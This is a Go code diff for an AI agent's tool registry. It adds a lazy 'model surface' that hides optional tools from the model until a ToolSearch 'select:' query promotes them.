a/internal/tool/registry_lazy.go b/internal/tool/registry_lazy.go new file mode 100644 index 00000000..639b3ce9 --- /dev/null +++ b/internal/tool/registry_lazy.go @@ -0,0 +1,106 @@ +package tool + +// Lazy model-surface helpers: tools can be registered for execution while +// staying hidden from EyrieTools until promoted (ToolSearch select, mode, etc.). + +// EnableLazyModelSurface restricts model-visible tools to essentialNames. +// All other primary tools remain executable via Get (and discoverable via +// ToolSearch when AvailableTools includes them) but are omitted from +// EyrieTools until PromoteModelTool. +func (r *Registry) EnableLazyModelSurface(essentialNames []string) { + if r == nil { + return + } + r.mu.Lock() + defer r.mu.Unlock() + r.modelVisible = make(map[string]bool, len(essentialNames)) + for _, name := range essentialNames { + if name == "" { + continue + } + // Resolve aliases to primary tool names when already registered. + if t, ok := r.tools[name]; ok { + r.modelVisible[t.Name()] = true + } else { + r.modelVisible[name] = true + } + } +} + +// SetModelVisibility replaces the model-visible allowlist. Empty clears +// lazy mode (all primary tools become model-visible again). +func (r *Registry) SetModelVisibility(names []string) { + if r == nil { + return + } + r.mu.Lock() + defer r.mu.Unlock() + if len(names) == 0 { + r.modelVisible = nil + return + } + r.modelVisible = make(map[string]bool, len(names)) + for _, name := range names { + if name == "" { + continue + } + if t, ok := r.tools[name]; ok { + r.modelVisible[t.Name()] = true + } else { + r.modelVisible[name] = true + } + } +} + +// PromoteModelTool makes a registered tool visible to the model. +// Returns false if the tool is unknown. +func (r *Registry) PromoteModelTool(name string) bool { + if r == nil { + return false + } + r.mu.Lock() + defer r.mu.Unlock() + t, ok := r.tools[name] + if !ok { + return false + } + if r.modelVisible == nil { + // All tools already model-visible. + return true + } + r.modelVisible[t.Name()] = true + return true +} + +// ModelVisibleNames returns names currently sent to the model. +func (r *Registry) ModelVisibleNames() []string { + if r == nil { + return nil + } + r.mu.RLock() + defer r.mu.RUnlock() + var out []string + for _, t := range r.primary { + if r.modelVisible == nil || r.modelVisible[t.Name()] { + out = append(out, t.Name()) + } + } + return out +} + +// IsModelVisible reports whether name is included in EyrieTools. +func (r *Registry) IsModelVisible(name string) bool { + if r == nil { + return false + } + r.mu.RLock() + defer r.mu.RUnlock() + t, ok := r.tools[name] + if !ok { + return false + } + if r.modelVisible == nil { + return true + } + return r.modelVisible[t.Name()] +} diff --git a/internal/tool/tool.go b/internal/tool/tool.go index 590a5969..54696db9 100644 --- a/internal/tool/tool.go +++ b/internal/tool/tool.go @@ -71,14 +71,17 @@ type ToolContext struct { RefreshCodeIndexFn func(ctx context.Context) error CommitMessageChatFn func(ctx context.Context, prompt string) (string, error) AvailableTools []Tool - AllowedDirectories []string - SandboxMode sandbox.Mode - AutoCommit bool - Protected PathProtector - YaadBridge *memory.YaadBridge - Attribution *types.Attribution - SettingsGet func(key string) (string, bool) - SettingsSet func(key, value string) error + // Registry is optional; when set, ToolSearch select: promotes tools onto + // the lazy model-visible surface for subsequent LLM turns. + Registry *Registry + AllowedDirectories []string + SandboxMode sandbox.Mode + AutoCommit bool + Protected PathProtector + YaadBridge *memory.YaadBridge + Attribution *types.Attribution + SettingsGet func(key string) (string, bool) + SettingsSet func(key, value string) error // SpecSlugGet/SpecSlugSet let the Specify/Plan/Tasks tools read and // write the active spec workflow's directory slug without any // package-level state — each session supplies its own closures over @@ -167,6 +170,9 @@ type Registry struct { mu sync.RWMutex tools map[string]Tool primary []Tool + // modelVisible, when non-nil, restricts EyrieTools to the listed primary + // names (lazy model surface). Get/Execute still reach every registered tool. + modelVisible map[string]bool } // NewRegistry creates a registry with the given tools. @@ -223,12 +229,16 @@ func (r *Registry) Filter(allow []string) *Registry { return NewRegistry(filtered...) } -// EyrieTools converts all tools to Hawk runtime tool definitions for the API boundary. +// EyrieTools converts model-visible tools to Hawk runtime tool definitions. +// When lazy model surface is enabled, only promoted/essential tools are listed. func (r *Registry) EyrieTools() []types.EyrieTool { r.mu.RLock() defer r.mu.RUnlock() out := make([]types.EyrieTool, 0, len(r.primary)) for _, t := range r.primary { + if r.modelVisible != nil && !r.modelVisible[t.Name()] { + continue + } out = append(out, types.EyrieTool{ Name: t.Name(), Description: t.Description(), diff --git a/internal/tool/tool_search.go b/internal/tool/tool_search.go index be704032..d1f27b1c 100644 --- a/internal/tool/tool_search.go +++ b/internal/tool/tool_search.go @@ -49,10 +49,17 @@ func (ToolSearchTool) Execute(ctx context.Context, input json.RawMessage) (strin } matches := searchAvailableTools(tc.AvailableTools, p.Query, p.MaxResults) + // select: promotes hidden optional tools onto the model surface. + if strings.HasPrefix(strings.ToLower(p.Query), "select:") && tc.Registry != nil { + for _, name := range matches { + _ = tc.Registry.PromoteModelTool(name) + } + } out := map[string]interface{}{ "matches": matches, "query": p.Query, "total_tools": len(tc.AvailableTools), + "promoted": strings.HasPrefix(strings.ToLower(p.Query), "select:"), } data, _ := json.MarshalIndent(out, "", " ") return string(data), nil